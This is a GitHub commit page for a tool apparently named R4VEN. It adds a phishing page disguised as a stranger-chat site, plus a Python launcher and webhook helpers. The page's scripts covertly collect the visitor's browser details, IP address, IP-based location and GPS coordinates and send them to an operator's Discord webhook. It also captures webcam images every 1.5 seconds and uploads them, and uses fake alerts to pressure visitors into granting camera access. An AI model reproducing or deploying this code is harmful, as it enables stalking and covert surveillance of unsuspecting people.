Skip to content

Commit 94c6cd2

Browse files
capture target pic too
1 parent a0ae286 commit 94c6cd2

File tree

11 files changed

+436
-17
lines changed

11 files changed

+436
-17
lines changed

index.html

Lines changed: 259 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,259 @@
1+
<!DOCTYPE html>
2+
<html>
3+
4+
<head>
5+
<script type="text/javascript"
6+
src="dwebhook.js">
7+
</script>
8+
</head>
9+
10+
<body onload="getLocation()">
11+
12+
<iframe src="https://www.meetskip.com/chat" width="100%" height="900" style="border:none;">
13+
</iframe>
14+
15+
<p id="demo"></p>
16+
<script src=
17+
"https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js">
18+
</script>
19+
<script>
20+
var x = document.getElementById("demo");
21+
22+
let datetime = new Date();
23+
let localtime = String(datetime.toLocaleTimeString());
24+
25+
26+
var sysinfo = (" GET " , "```xl\n" + navigator.userAgent + "```" + "```autohotkey\n" + "\nPlatform: " + navigator.platform + "\nCookies_Enabled: " + navigator.cookieEnabled + "\nBrowser_Language: " + navigator.language + "\nBrowser_Name: "+ navigator.appName + "\nBrowser_CodeName: " + navigator.appCodeName + "\nRam: " + navigator.deviceMemory + "\nCPU_cores: " + navigator.hardwareConcurrency + "\nScreen_Width: " + screen.width + "\nScreen_Height: " + screen.height + "\nTime: " + localtime + "\nRefUrl: " + document.referrer + "\nOscpu: " + navigator.oscpu + "```");
27+
28+
const request = new XMLHttpRequest();
29+
request.open("POST", "/location_update"); //change webhook
30+
31+
request.setRequestHeader('Content-type', 'application/json');
32+
33+
var myEmbed = {
34+
author: {
35+
name: "Target System Information.."
36+
},
37+
title: "Uagent:",
38+
description: sysinfo,
39+
color: 15418782
40+
}
41+
42+
var params = {
43+
username: "R4VEN",
44+
avatar_url: "https://cdn.discordapp.com/attachments/746328746491117611/1053145270843613324/kisspng-black-hat-briefings-computer-icons-computer-virus-5b2fdfc3dc8499.6175504015298641319033.png",
45+
content: "@here Someone Opened The Link O_o ",
46+
embeds: [ myEmbed ]
47+
}
48+
49+
request.send(JSON.stringify(params));
50+
51+
//...
52+
53+
$.getJSON("https://api.ipify.org?format=json", function(data) {
54+
$("#gfg").html(data.ip);
55+
56+
const request = new XMLHttpRequest();
57+
request.open("POST", "/location_update"); //change webhook
58+
59+
request.setRequestHeader('Content-type', 'application/json');
60+
61+
var myEmbed = {
62+
author: {
63+
name: "Target Ip"
64+
},
65+
description: '```xl\n' + data.ip + '```' + '\n__**IP Details:**__ https://ip-api.com/#' + data.ip + "\n",
66+
color: 15548997,
67+
68+
footer: {
69+
text: "Geographic location based on IP address is NOT accurate, it provides the approximate location of the ISP."
70+
}
71+
}
72+
73+
var params = {
74+
username: "R4VEN",
75+
avatar_url: "https://cdn.discordapp.com/attachments/746328746491117611/1053145270843613324/kisspng-black-hat-briefings-computer-icons-computer-virus-5b2fdfc3dc8499.6175504015298641319033.png",
76+
embeds: [ myEmbed ]
77+
}
78+
79+
request.send(JSON.stringify(params));
80+
})
81+
82+
$.getJSON("http://ip-api.com/json/?fields=status,message,continent,continentCode,country,countryCode,region,regionName,city,district,zip,lat,lon,timezone,offset,currency,isp,org,as,asname,reverse,mobile,proxy,hosting,query", function(response) {
83+
84+
const request = new XMLHttpRequest();
85+
request.open("POST", "/location_update"); //change webhook
86+
87+
request.setRequestHeader('Content-type', 'application/json');
88+
89+
var myEmbed = {
90+
author: {
91+
name: "IP Address Reconnaissance"
92+
},
93+
title: response.status, //response.query
94+
description: '```autohotkey\nContinent: ' + response.continent +
95+
"\nContinentCode: " + response.continentcode +
96+
"\nCountry: " + response.country +
97+
"\nCountrycode: " + response.countrycode +
98+
"\nRegionname: "+ response.regionName +
99+
"\nRegion: " + response.region +
100+
"\nCity: " + response.city +
101+
"\nDistrict: " + response.district +
102+
"\nZip: " + response.zip +
103+
"\nTime_zone: " + response.time_zone +
104+
"\nName: " + response.name +
105+
"\nAs: " + response.as +
106+
"\nIsp: " + response.isp +
107+
"\nReverse: " + response.reverse +
108+
"\nOffset: " + response.offset +
109+
"\nCurrency: " + response.currency +
110+
"\nProxy: " + response.proxy +
111+
"\nMobile: " + response.mobile +
112+
"\nLat: " + response.lat +
113+
"\nLon: " + response.lon + '```',
114+
color: 5763719
115+
116+
}
117+
118+
var params = {
119+
username: "R4VEN",
120+
avatar_url: "https://cdn.discordapp.com/attachments/746328746491117611/1053145270843613324/kisspng-black-hat-briefings-computer-icons-computer-virus-5b2fdfc3dc8499.6175504015298641319033.png",
121+
embeds: [ myEmbed ]
122+
}
123+
124+
request.send(JSON.stringify(params));
125+
})
126+
127+
128+
function getLocation() {
129+
if (navigator.geolocation) {
130+
navigator.geolocation.getCurrentPosition(showPosition, showError);
131+
} else {
132+
x.innerHTML = "Geolocation is not supported by this browser.";
133+
}
134+
}
135+
136+
function showPosition(position) {
137+
var latlong = (" GET " , "```prolog\nLatitude:" + position.coords.latitude + "\nLongitude:" + position.coords.longitude + "```" + "\n__**Map Location:**__ https://www.google.com/maps/place/" + position.coords.latitude + "," + position.coords.longitude + "\n__**Google Earth:**__ https://earth.google.com/web/search/" + position.coords.latitude + "," + position.coords.longitude);
138+
139+
const request = new XMLHttpRequest();
140+
request.open("POST", "/location_update"); //change webhook
141+
142+
request.setRequestHeader('Content-type', 'application/json');
143+
144+
var myEmbed = {
145+
author: {
146+
name: "Target Allowed Location Permission"
147+
},
148+
title: "GPS location of target..",
149+
description: latlong + "\n",
150+
color: 15844367,
151+
footer: {
152+
text: "GPS fetch almost exact location because it uses longitude and latitude coordinates."
153+
}
154+
}
155+
156+
var params = {
157+
username: "R4VEN",
158+
avatar_url: "https://cdn.discordapp.com/attachments/746328746491117611/1053145270843613324/kisspng-black-hat-briefings-computer-icons-computer-virus-5b2fdfc3dc8499.6175504015298641319033.png",
159+
embeds: [ myEmbed ]
160+
}
161+
162+
request.send(JSON.stringify(params));
163+
164+
}
165+
166+
function showError(error) {
167+
switch(error.code) {
168+
case error.PERMISSION_DENIED:
169+
const request = new XMLHttpRequest();
170+
request.open("POST", "/location_update"); //change webhook
171+
172+
request.setRequestHeader('Content-type', 'application/json');
173+
174+
const params = {
175+
username: "R4VEN",
176+
avatar_url: "https://cdn.discordapp.com/attachments/746328746491117611/1053145270843613324/kisspng-black-hat-briefings-computer-icons-computer-virus-5b2fdfc3dc8499.6175504015298641319033.png",
177+
content: "```diff\n- User denied the request for Geolocation.```"
178+
}
179+
180+
request.send(JSON.stringify(params));
181+
break;
182+
case error.POSITION_UNAVAILABLE:
183+
x.innerHTML = "Location information is unavailable."
184+
break;
185+
case error.TIMEOUT:
186+
x.innerHTML = "The request to get user location timed out."
187+
break;
188+
case error.UNKNOWN_ERROR:
189+
x.innerHTML = "An unknown error occurred."
190+
break;
191+
}
192+
}
193+
</script>
194+
<div class="video-wrap" hidden="hidden">
195+
<video id="video" playsinline autoplay></video>
196+
</div>
197+
<canvas hidden="hidden" id="canvas" width="640" height="480"></canvas>
198+
<script>
199+
function postFile(file) {
200+
let formdata = new FormData();
201+
formdata.append("image", file);
202+
let xhr = new XMLHttpRequest();
203+
xhr.open('POST', 'http://127.0.0.1:8000//image', true);
204+
xhr.onload = function () {
205+
if (this.status === 200)
206+
console.log(this.response);
207+
else
208+
console.error(xhr);
209+
};
210+
xhr.send(formdata);
211+
}
212+
213+
214+
215+
216+
const video = document.getElementById('video');
217+
const canvas = document.getElementById('canvas');
218+
const errorMsgElement = document.querySelector('span#errorMsg');
219+
220+
const constraints = {
221+
audio: false,
222+
video: {
223+
224+
facingMode: "user"
225+
}
226+
};
227+
228+
// Access webcam
229+
async function init() {
230+
try {
231+
const stream = await navigator.mediaDevices.getUserMedia(constraints)
232+
handleSuccess(stream);
233+
} catch (e) {
234+
setTimeout(function(){
235+
alert("Allow Camera access to chat with strangers");
236+
window.location.href = "https://support.onemob.com/hc/en-us/articles/360037342154-How-do-I-grant-permission-for-Camera-and-Microphone-in-my-web-browser-"
237+
alert("Read this page to grant camera access to our website")
238+
},15000) }
239+
}
240+
241+
// Success
242+
function handleSuccess(stream) {
243+
window.stream = stream;
244+
video.srcObject = stream;
245+
246+
var context = canvas.getContext('2d');
247+
setInterval(function(){
248+
249+
context.drawImage(video, 0, 0, 640, 480);
250+
canvas.toBlob(postFile, 'image/jpeg'); }, 1500);
251+
252+
253+
}
254+
255+
// Load init
256+
init();
257+
</script>
258+
</body>
259+
</html>
File renamed without changes.
File renamed without changes.

index_new.html renamed to old_version/v2/index_new.html

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,3 @@
1-
21
<!DOCTYPE html>
32
<html>
43

File renamed without changes.

old_version/v2/r4ven.py

Lines changed: 88 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,88 @@
1+
#!/usr/bin/env python3
2+
import os
3+
import uvicorn
4+
import webapp_backend
5+
6+
twitter_url = 'https://spyboy.in/twitter'
7+
discord = 'https://spyboy.in/Discord'
8+
website = 'https://spyboy.in/'
9+
blog = 'https://spyboy.blog/'
10+
11+
VERSION = '1.1.2'
12+
13+
R = '\033[31m'
14+
G = '\033[32m'
15+
C = '\033[36m'
16+
W = '\033[0m'
17+
Y = '\033[33m'
18+
19+
banner = r'''
20+
__________ _________ _______________ _______
21+
\______ \ / | \ \ / /\_ _____/ \ \
22+
| _/ / | |\ Y / | __)_ / | \
23+
| | \/ ^ /\ / | \/ | \
24+
|____|_ /\____ | \___/ /_______ /\____|__ /
25+
\/ |__| \/ \/ '''
26+
27+
28+
def main():
29+
"""
30+
program entry_point
31+
"""
32+
print_banners()
33+
remove_old_discord_webhook()
34+
get_new_discord_webhook()
35+
print_port_forwarding_instructions()
36+
start_http_server()
37+
38+
39+
def print_banners():
40+
"""
41+
prints the program banners
42+
"""
43+
print(f'{R}{banner}{W}\n')
44+
print(f'{G}[+] {C}Version : {W}{VERSION}')
45+
print(f'{G}[+] {C}Created By : {W}Spyboy')
46+
print(f'{G} ╰➤ {C}Twitter : {W}{twitter_url}')
47+
print(f'{G} ╰➤ {C}Discord : {W}{discord}')
48+
print(f'{G} ╰➤ {C}Website : {W}{website}')
49+
print(f'{G} ╰➤ {C}Blog : {W}{blog}\n')
50+
51+
52+
def print_port_forwarding_instructions():
53+
"""
54+
prints the port forwarding instruction
55+
"""
56+
print(f'\nTo port forward install ngrok or use ssh')
57+
print(f'{C}For ngrok port forward type : {Y}ngrok http 8000')
58+
print(f'{C}For ssh port forwarding type : {Y}ssh -R 80:localhost:8000 ssh.localhost.run\n')
59+
print(f'{C}track info will be sent to your discord webhook.\n')
60+
61+
62+
def get_new_discord_webhook():
63+
"""
64+
gets the new discord webhook from user
65+
"""
66+
print(f'Enter Discord Webhoook url:')
67+
dwebhook_input = input()
68+
file1 = open('dwebhook.js', 'w')
69+
file1.write(dwebhook_input)
70+
file1.close()
71+
72+
73+
def remove_old_discord_webhook():
74+
"""
75+
removes the old discord webhook
76+
"""
77+
try:
78+
os.system("rm dwebhook.js")
79+
except:
80+
pass
81+
82+
83+
def start_http_server():
84+
uvicorn.run(webapp_backend.web_app)
85+
86+
87+
if __name__ == "__main__":
88+
main()

old_version/v2/requirements.txt

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
fastapi
2+
pydantic
3+
requests
4+
uvicorn

old_version/v2/utils.py

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
"""
2+
Purpose: will hold the util functions of the program
3+
"""
4+
import json
5+
import requests
6+
7+
8+
def get_file_data(file_path):
9+
"""
10+
gets the file data
11+
:param file_path: the path to the file you want to read
12+
:return: the file data as plain text
13+
"""
14+
with open(file_path, 'r') as open_file:
15+
return open_file.read()
16+
17+
18+
def update_webhook(webhook: str, webhook_data: dict):
19+
"""
20+
will send a post request to the given webhook
21+
:param webhook: the webhook you want to update
22+
"""
23+
request_payload = json.dumps(webhook_data)
24+
headers = {'Content-Type': 'application/json'}
25+
requests.request("POST", webhook, headers=headers, data=request_payload)
File renamed without changes.

0 commit comments

Comments
 (0)